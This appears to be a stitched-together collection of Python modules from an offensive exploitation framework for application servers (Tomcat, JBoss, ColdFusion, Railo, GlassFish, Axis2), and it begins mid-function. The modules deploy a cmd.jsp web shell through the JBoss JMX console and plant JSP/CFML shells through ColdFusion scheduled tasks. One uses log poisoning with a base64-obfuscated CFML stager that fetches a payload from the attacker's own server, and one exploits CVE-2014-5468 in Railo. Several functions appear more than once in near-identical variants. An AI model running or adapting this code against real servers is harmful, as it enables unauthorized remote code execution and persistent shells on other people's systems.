LOG.ERROR) return response = invkdeploy(fp.version, url, abspath(war_file), fingerengine.random_int) if len(response) > 1: utility.Msg(response, LOG.DEBUG) else: utility.Msg("{0} deployed to {1} (/{2})".format(war_name, fingerengine.options.ip, war_name + fingerengine.random_int), LOG.SUCCESS)
def undeploy(fingerengine, fingerprint): """ This module is used to undeploy a context from a remote Tomcat server. In general, it is as simple as fetching /manager/html/undeploy?path=CONTEXT with an authenticated GET request to perform this action. However, Tomcat 6.x proves to not be as nice. The undeployer in 6.x requires a refreshed session ID and a CSRF token. This requires one more request on our part. Tomcat 7.x and 8.x expose /manager/text/undeploy which can bypass the need for a CSRF token. """ context = parse_war_path(fingerengine.options.undeploy) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if fingerprint.version in ["7.0", "8.0"]: uri = "/manager/text/undeploy?path=/{0}".format(context) elif fingerprint.version in ['4.0', '4.1']: uri = '/manager/html/remove?path=/{0}'.format(context) else: uri = "/manager/html/undeploy?path=/{0}".format(context) if fingerprint.version in ['6.0']: (csrf, c) = fetchCSRF(base, cookies) uri += '&org.apache.catalina.filters.CSRF_NONCE=%s' % csrf # rebuild our auth tuple cookies = (c, cookies[1]) url = base + uri utility.Msg("Preparing to undeploy {0}...".format(context)) response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200 and \ ('Undeployed application at context' in response.content or\ 'OK' in response.content): utility.Msg("Successfully undeployed %s" % context, LOG.SUCCESS) elif 'No context exists for path' in response.content: utility.Msg("Could not find a context for %s" % context, LOG.ERROR) else: utility.Msg("Failed to undeploy (HTTP %s)" % response.status_code, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Exploits the DeploymentFileRepository bean to deploy a JSP to the remote server. Note that this requires a JSP, not a packaged or exploded WAR. """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file) if '.war' in war_file: tmp = utility.capture_input("This deployer requires a JSP, default to cmd.jsp? [Y/n]") if "n" in tmp.lower(): return war_file = abspath("./src/lib/resources/cmd.jsp") war_name = "cmd" utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/jmx-console/HtmlAdaptor".format( fingerengine.options.ip, fingerprint.port) data = OrderedDict([ ('action', 'invokeOp'), ('name', 'jboss.admin:service=DeploymentFileRepository'), ('methodIndex', 5), ('arg0', war_file.replace('.jsp', '.war')), ('arg1', war_name), ('arg2', '.jsp'), ('arg3', open(war_file, 'r').read()), ('arg4', True) ]) response = utility.requests_post(url, data=data) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for JMX, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: response = utility.requests_post(url, data=data, cookies=cookies[0], auth=cookies[1]) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200: utility.Msg("Successfully deployed {0}".format(war_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy (HTTP %d)" % response.status_code, LOG.ERROR)
def undeploy(fingerengine, fingerprint): """ This module is used to undeploy a context from a remote Tomcat server. In general, it is as simple as fetching /manager/html/undeploy?path=CONTEXT with an authenticated GET request to perform this action. However, Tomcat 6.x proves to not be as nice. The undeployer in 6.x requires a refreshed session ID and a CSRF token. This requires one more request on our part. Tomcat 7.x and 8.x expose /manager/text/undeploy which can bypass the need for a CSRF token. """ context = parse_war_path(fingerengine.options.undeploy) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if fingerprint.version in ["7.0", "8.0"]: uri = "/manager/text/undeploy?path=/{0}".format(context) elif fingerprint.version in ['4.0', '4.1']: uri = '/manager/html/remove?path=/{0}'.format(context) else: uri = "/manager/html/undeploy?path=/{0}".format(context) if fingerprint.version in ['6.0']: (csrf, c) = fetchCSRF(base, cookies) uri += '&org.apache.catalina.filters.CSRF_NONCE=%s' % csrf # rebuild our auth tuple cookies = (c, cookies[1]) url = base + uri utility.Msg("Preparing to undeploy {0}...".format(context)) response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) if response.status_code == 200 and \ ('Undeployed application at context' in response.content or\ 'OK' in response.content): utility.Msg("Successfully undeployed %s" % context, LOG.SUCCESS) elif 'No context exists for path' in response.content: utility.Msg("Could not find a context for %s" % context, LOG.ERROR) else: utility.Msg("Failed to undeploy (HTTP %s)" % response.status_code, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file, )) server_thread.start() sleep(1.5) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format(fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port, war_name) # poll the URL to check for a 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for web-console, checking..", LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = wc_invoke(url, local_url, usr, pswd) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for serializing the request response = wc_invoke(url, local_url) if not response == '': utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg( "{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ """ war_file = abspath(fingerengine.options.deploy) war_name = parse_war_path(war_file, True) # start the local HTTP server server_thread = Thread(target=_serve, args=(war_file,)) server_thread.start() sleep(1.5) utility.Msg("Preparing to deploy {0}...".format(war_file)) url = "http://{0}:{1}/web-console/Invoker".format( fingerengine.options.ip, fingerprint.port) local_url = "http://{0}:{1}/{2}".format(utility.local_address(), state.external_port,war_name) # poll the URL to check for a 401 response = utility.requests_get(url) if response.status_code == 401: utility.Msg("Host %s:%s requires auth for web-console, checking..", LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: (usr, pswd) = (cookies[1].username, cookies[1].password) response = wc_invoke(url, local_url, usr, pswd) else: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) else: # run our java lib for serializing the request response = wc_invoke(url, local_url) if not response == '': utility.Msg(response, LOG.DEBUG) if waitServe(server_thread): utility.Msg("{0} deployed to {1}".format(war_file, fingerengine.options.ip), LOG.SUCCESS) killServe()
def deploy(fingerengine, fingerprint): """ This is currently a little messy since all major versions have slight differences between them. If 6.x/7.x are significantly different, I may split these out. This module invokes the Scheduled Tasks feature of CF to deploy a JSP or CFML shell to the remote CF server. This requires auth. """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip if fingerprint.version in ["10.0"]: # we need the file to end with .log tmp = cfm_file.split('.')[0] system("cp %s %s/%s.log" % (cfm_path, state.serve_dir, tmp)) cfm_file = "%s.log" % tmp cfm_path = "%s/%s" % (state.serve_dir, cfm_file) utility.Msg("Preparing to deploy {0}...".format(cfm_file)) utility.Msg("Fetching web root...", LOG.DEBUG) # fetch web root; this is where we stash the file root = fetch_webroot(dip, fingerprint) if not root: utility.Msg("Unable to fetch web root.", LOG.ERROR) return # create the scheduled task utility.Msg("Web root found at %s" % root, LOG.DEBUG) utility.Msg("Creating scheduled task...") if not create_task(dip, fingerprint, cfm_file, root): return # invoke the task utility.Msg("Task %s created, invoking task..." % cfm_file) run_task(dip, fingerprint, cfm_path) # remove the task utility.Msg("Cleaning up...") delete_task(dip, fingerprint, cfm_file) if fingerprint.version in ["10.0"]: # set the template 404 handler set_template(dip, fingerprint, root, cfm_file)
def deploy(fingerengine, fingerprint): """ This is currently a little messy since all major versions have slight differences between them. If 6.x/7.x are significantly different, I may split these out. This module invokes the Scheduled Tasks feature of CF to deploy a JSP or CFML shell to the remote CF server. This requires auth. """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip if fingerprint.version in ["10.0", '11.0']: # we need the file to end with .log tmp = cfm_file.split('.')[0] system("cp %s %s/%s.log" % (cfm_path, state.serve_dir, tmp)) cfm_file = "%s.log" % tmp cfm_path = "%s/%s" % (state.serve_dir, cfm_file) utility.Msg("Preparing to deploy {0}...".format(cfm_file)) utility.Msg("Fetching web root...", LOG.DEBUG) # fetch web root; this is where we stash the file root = fetch_webroot(dip, fingerprint) if not root: utility.Msg("Unable to fetch web root.", LOG.ERROR) return # create the scheduled task utility.Msg("Web root found at %s" % root, LOG.DEBUG) utility.Msg("Creating scheduled task...") if not create_task(dip, fingerprint, cfm_file, root): return # invoke the task utility.Msg("Task %s created, invoking task..." % cfm_file) run_task(dip, fingerprint, cfm_path) # remove the task utility.Msg("Cleaning up...") delete_task(dip, fingerprint, cfm_file) if fingerprint.version in ["10.0", '11.0']: # set the template 404 handler set_template(dip, fingerprint, root, cfm_file)
def undeploy(fingerengine, fingerprint): """ """ context = parse_war_path(fingerengine.options.undeploy) base = "http://{0}:{1}".format(fingerengine.options.ip, fingerprint.port) if fingerprint.version in ["7.0", "8.0"]: uri = "/manager/text/undeploy?path=/{0}".format(context) else: uri = "/manager/html/undeploy?path=/{0}".format(context) url = base + uri utility.Msg("Preparing to undeploy {0}...".format(context)) response = utility.requests_get(url) if response.status_code == 401 or \ (response.status_code == 405 and fingerprint.version == "8.0"): utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookies: try: response = utility.requests_get(url, cookies=cookies[0], auth=cookies[1]) except exceptions.Timeout: response.status_code = 200 else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if response.status_code == 200 and 'Undeployed application at context'\ in response.content: utility.Msg("Successfully undeployed %s" % context, LOG.SUCCESS) elif 'No context exists for path' in response.content: utility.Msg("Could not find a context for %s" % context, LOG.ERROR) else: utility.Msg("Failed to undeploy (HTTP %s)" % response.status_code, LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Exploits log poisoning to inject CFML stager code that pulls down our payload and stashes it in web root """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip base = 'http://{0}:{1}/'.format(dip, fingerprint.port) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#'"\ " file='{1}'>" # ensure we're deploying a valid filetype extension = cfm_file.rsplit('.', 1)[1] if extension.lower() not in ['jsp', 'cfml']: utility.Msg("This deployer requires a JSP/CFML payload", LOG.ERROR) return # start up our local server to catch the request server_thread = Thread(target=_serve, args=(cfm_path, )) server_thread.start() # inject stager utility.Msg("Injecting stager...") b64addr = b64encode('http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port, cfm_file)) stager = quote_plus(stager.format(b64addr, cfm_file)) stager += ".cfml" # trigger the error for log injection _ = utility.requests_get(base + stager) # stager injected, now load the log file via LFI if fingerprint.version in ["9.0", "10.0"]: LinvokeLFI(base, fingerengine, fingerprint) else: invokeLFI(base, fingerengine, fingerprint) if waitServe(server_thread): utility.Msg("{0} deployed at /{0}".format(cfm_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy file.", LOG.ERROR) killServe()
def invoke_axis2(fingerengine, fingerprint, deployer): """ Invoke an Axis2 payload """ dfile = parse_war_path(fingerengine.options.deploy) url = "http://{0}:{1}/axis2/services/{2}".format(fingerengine.options.ip, fingerprint.port, dfile) if fingerprint.version not in ["1.6"]: # versions < 1.6 require an explicit invocation of run url += "/run" utility.Msg("Attempting to invoke...") if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) return utility.Msg("Failed to invoke {0}".format(dfile), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ Exploits log poisoning to inject CFML stager code that pulls down our payload and stashes it in web root """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip base = 'http://{0}:{1}/'.format(dip, fingerprint.port) stager = "<cfhttp method='get' url='#ToString(ToBinary('{0}'))#'"\ " path='#ExpandPath(ToString(ToBinary('Li4vLi4v')))#'"\ " file='{1}'>" # ensure we're deploying a valid filetype extension = cfm_file.rsplit('.', 1)[1] if extension.lower() not in ['jsp', 'cfml']: utility.Msg("This deployer requires a JSP/CFML payload", LOG.ERROR) return # start up our local server to catch the request server_thread = Thread(target=_serve, args=(cfm_path,)) server_thread.start() # inject stager utility.Msg("Injecting stager...") b64addr = b64encode('http://{0}:{1}/{2}'.format(utility.local_address(), state.external_port,cfm_file)) stager = quote_plus(stager.format(b64addr, cfm_file)) stager += ".cfml" # trigger the error for log injection _ = utility.requests_get(base + stager) # stager injected, now load the log file via LFI if fingerprint.version in ["9.0", "10.0"]: LinvokeLFI(base, fingerengine, fingerprint) else: invokeLFI(base, fingerengine, fingerprint) if waitServe(server_thread): utility.Msg("{0} deployed at /{0}".format(cfm_file), LOG.SUCCESS) else: utility.Msg("Failed to deploy file.", LOG.ERROR) killServe()
def undeploy(fingerengine, fingerprint): """ Undeploying is quite simple via the exposed REST API """ if fingerprint.version in ['3.1', '4.0']: state.ssl = True base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) context = parse_war_path(fingerengine.options.undeploy) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title) headers = { "Accept" : "application/json", "X-Requested-By" : "requests" } if not cookie: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to undeploy %s..." % context) uri = '/management/domain/applications/application/%s' % context if fingerprint.version in ['3.0']: # GF 3.0 doesnt appear to support the DELETE verb data = { "operation" : "__deleteoperation" } response = utility.requests_post(base + uri, auth=cookie, headers=headers, data=data) else: response = utility.requests_delete(base + uri, auth=cookie, headers=headers) if response.status_code is 200: utility.Msg("'%s' undeployed successfully" % context, LOG.SUCCESS) else: utility.Msg("Failed to undeploy %s: %s" % (context, response.content), LOG.ERROR)
def invoke_cf(fingerengine, fingerprint): """ """ dfile = parse_war_path(fingerengine.options.deploy, True) if fingerprint.version in ["10.0"]: # deployments to 10 require us to trigger a 404 url = "http://{0}:{1}/CFIDE/ad123.cfm".format(fingerengine.options.ip, fingerprint.port) else: url = "http://{0}:{1}/CFIDE/{2}".format(fingerengine.options.ip, fingerprint.port, dfile) if _invoke(url): utility.Msg("{0} invoked at {1}".format(dfile, fingerengine.options.ip)) else: utility.Msg("Failed to invoke {0}".format(dfile), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip if fingerprint.version in ["10.0"]: # we need the file to end with .log tmp = cfm_file.split('.')[0] system("cp %s %s/%s.log" % (cfm_path, state.serve_dir, tmp)) cfm_file = "%s.log" % tmp cfm_path = "%s/%s" % (state.serve_dir, cfm_file) utility.Msg("Preparing to deploy {0}...".format(cfm_file)) utility.Msg("Fetching web root...", LOG.DEBUG) # fetch web root; this is where we stash the file root = fetch_webroot(dip, fingerprint) if not root: utility.Msg("Unable to fetch web root.", LOG.ERROR) return # create the scheduled task utility.Msg("Web root found at %s" % root, LOG.DEBUG) utility.Msg("Creating scheduled task...") if not create_task(dip, fingerprint, cfm_file, root): return # invoke the task utility.Msg("Task %s created, invoking task..." % cfm_file) run_task(dip, fingerprint, cfm_path) # remove the task utility.Msg("Cleaning up...") delete_task(dip, fingerprint, cfm_file) if fingerprint.version in ["10.0"]: # set the template 404 handler set_template(dip, fingerprint, root, cfm_file)
def deploy(fingerengine, fingerprint): """ Exploits CVE-2014-5468 Details in blogspot, but tl;dr: a) Invoke thumbnail.cfm with a valid PNG image that has our CFM stager embedded into it. The extension of the file must also be a .CFM, and the height/width must be larger values to prevent Railo from modifying and removing the payload. b) Invoke img.cfm with thistag.executionmode=start and attributes.src set to the previously written file, which will be HASH.cfm. c) catch stager request and serve up payload. """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip os = fingerengine.options.remote_os utility.Msg("Preparing to deploy {0}...".format(cfm_file)) base = "http://{0}:{1}".format(dip, fingerprint.port) # # first we pull down our modified png as a cfm with the embedded stager # tn = "/railo-context/admin/thumbnail.cfm?img={0}&height=5000&width=5000" pl_file = load_file(base + tn, cfm_file, os, fingerprint.version) if not pl_file: return # # once the stager is uploaded, we invoke img.cfm to pull the file and execute # jsl = "/railo-context/admin/img.cfm?attributes.src=../../../../temp/admin-"\ "ext-thumbnails/{0}&thistag.executionmode=start" if not invoke(base + jsl, cfm_path, os, fingerprint.version, pl_file): return
def deploy(fingerengine, fingerprint): """ Railo includes the same task scheduling function as ColdFusion """ global cookie cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip # set our session cookie cookie = checkAuth(dip, fingerprint.port, title) if not cookie: utility.Msg("Could not get auth to %s:%s" % (dip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}..".format(cfm_file)) utility.Msg("Fetching web root..", LOG.DEBUG) # fetch web root; i.e. where we can read the shell root = fetch_webroot(dip, fingerprint) if not root: utility.Msg("Unable to fetch web root.", LOG.ERROR) return # create the scheduled task utility.Msg("Web root found at %s" % root, LOG.DEBUG) utility.Msg("Creating scheduled task...") if not create_task(dip, fingerprint, cfm_file, root): return # invoke the task utility.Msg("Task %s created, invoking..." % cfm_file) run_task(dip, fingerprint, cfm_path) # remove the task utility.Msg("Cleaning up...") delete_task(dip, fingerprint, cfm_file)
def undeploy(fingerengine, fingerprint): """ Remove a deployed service from the remote Axis2 server """ if fingerprint.version not in ['1.6']: utility.Msg( "Version %s does not support undeploying via the web interface" % fingerprint.version, LOG.ERROR) return context = parse_war_path(fingerengine.options.undeploy) base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/axis2/axis2-admin/deleteService?serviceName={0}'.format(context) utility.Msg("Preparing to undeploy {0}...".format(context)) response = utility.requests_get(base + uri) if "name=\"password\"" in response.content: utility.Msg( "Host %s:%s requires auth, checking..." % (fingerengine.options.ip, fingerprint.port), LOG.DEBUG) cookie = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if cookie: response = utility.requests_get(base + uri, cookies=cookie) else: utility.Msg( "Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return if "Service doesn't exist" in response.content: utility.Msg("Service '%s' not found on server." % context, LOG.ERROR) elif 'successfully removed' in response.content: utility.Msg("Successfully undeployed '%s'" % context, LOG.SUCCESS) else: utility.Msg( "Failed to undeploy '%s' (HTTP %d)" % (context, response.status_code), LOG.ERROR)
def deploy(fingerengine, fingerprint): """ This deployer is slightly different than manager_deploy in that it only requires the manager-gui role. This requires us to deploy like one would via the web interface. """ base = 'http://{0}:{1}'.format(fingerengine.options.ip, fingerprint.port) uri = '/manager/html/upload' war_file = fingerengine.options.deploy war_path = parse_war_path(war_file) cookies = checkAuth(fingerengine.options.ip, fingerprint.port, fingerprint.title, fingerprint.version) if not cookies: utility.Msg("Could not get auth for %s:%s" % (fingerengine.options.ip, fingerprint.port), LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(war_file)) if fingerprint.version in ['6.0', '7.0', '8.0']: # deploying via the gui requires a CSRF token (csrf, c) = fetchCSRF(base, cookies) if not csrf: return else: # set CSRF and refresh session id uri += '?org.apache.catalina.filters.CSRF_NONCE={0}' uri = uri.format(csrf) cookies = (c, cookies[1]) # read in payload try: tag = 'deployWar' if fingerprint.version in ['4.0', '4.1']: tag = 'installWar' files = {tag : (war_path + '.war', open(war_file, 'rb'))} except Exception, e: utility.Msg(e, LOG.ERROR) return
def deploy(fingerengine, fingerprint): """ Scheduled Task deployer for older versions; radically different than newer systems, so it warrants its own deployer. """ cfm_path = abspath(fingerengine.options.deploy) cfm_file = parse_war_path(cfm_path, True) dip = fingerengine.options.ip cookie = checkAuth(dip, fingerprint.port, title, fingerprint.version)[0] if not cookie: utility.Msg("Could not get auth", LOG.ERROR) return utility.Msg("Preparing to deploy {0}...".format(cfm_file)) utility.Msg("Fetching web root...", LOG.DEBUG) root = fetch_webroot(dip, fingerprint, cookie) if not root: utility.Msg("Unable to fetch web root.", LOG.ERROR) return # create the scheduled task utility.Msg("Web root found at %s" % root, LOG.DEBUG) utility.Msg("Creating scheduled task...") if not create_task(dip, fingerprint, cfm_file, root, cookie): return # invoke the task utility.Msg("Task %s created, invoking..." % cfm_file) run_task(dip, fingerprint, cfm_path, cookie) # cleanup utility.Msg("Cleaning up...") if not delete_task(dip, fingerprint, cfm_file, cookie): utility.Msg("Failed to remove task. May require manual removal.", LOG.ERROR)